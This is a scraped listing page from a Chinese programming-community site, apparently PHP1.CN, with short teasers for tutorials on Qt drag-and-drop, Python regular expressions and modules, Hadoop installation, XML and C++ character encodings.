    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • Python正则表达式学习记录及常用方法
    本文记录了学习Python正则表达式的过程,介绍了re模块的常用方法re.search,并解释了rawstring的作用。正则表达式是一种方便检查字符串匹配模式的工具,通过本文的学习可以掌握Python中使用正则表达式的基本方法。 ... [详细]
  • 展开全部下面的代码是创建一个立方体Thisexamplescreatesanddisplaysasimplebox.#Thefirstlineloadstheinit_disp ... [详细]
  • CF:3D City Model(小思维)问题解析和代码实现
    本文通过解析CF:3D City Model问题,介绍了问题的背景和要求,并给出了相应的代码实现。该问题涉及到在一个矩形的网格上建造城市的情景,每个网格单元可以作为建筑的基础,建筑由多个立方体叠加而成。文章详细讲解了问题的解决思路,并给出了相应的代码实现供读者参考。 ... [详细]
  • 图像因存在错误而无法显示 ... [详细]
  • 本文详细介绍了Python中正则表达式和re模块的使用方法。首先解释了转义符的作用,以及如何在字符串中包含特殊字符。然后介绍了re模块的功能和常用方法。通过学习本文,读者可以掌握正则表达式的基本概念和使用技巧,进一步提高Python编程能力。 ... [详细]
  • 在Android开发中,使用Picasso库可以实现对网络图片的等比例缩放。本文介绍了使用Picasso库进行图片缩放的方法,并提供了具体的代码实现。通过获取图片的宽高,计算目标宽度和高度,并创建新图实现等比例缩放。 ... [详细]
  • 本文介绍了在Win10上安装WinPythonHadoop的详细步骤,包括安装Python环境、安装JDK8、安装pyspark、安装Hadoop和Spark、设置环境变量、下载winutils.exe等。同时提醒注意Hadoop版本与pyspark版本的一致性,并建议重启电脑以确保安装成功。 ... [详细]
  • XML介绍与使用的概述及标签规则
    本文介绍了XML的基本概念和用途,包括XML的可扩展性和标签的自定义特性。同时还详细解释了XML标签的规则,包括标签的尖括号和合法标识符的组成,标签必须成对出现的原则以及特殊标签的使用方法。通过本文的阅读,读者可以对XML的基本知识有一个全面的了解。 ... [详细]
  • C++字符字符串处理及字符集编码方案
    本文介绍了C++中字符字符串处理的问题,并详细解释了字符集编码方案,包括UNICODE、Windows apps采用的UTF-16编码、ASCII、SBCS和DBCS编码方案。同时说明了ANSI C标准和Windows中的字符/字符串数据类型实现。文章还提到了在编译时需要定义UNICODE宏以支持unicode编码,否则将使用windows code page编译。最后,给出了相关的头文件和数据类型定义。 ... [详细]
author-avatar
mobiledu2502918317
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有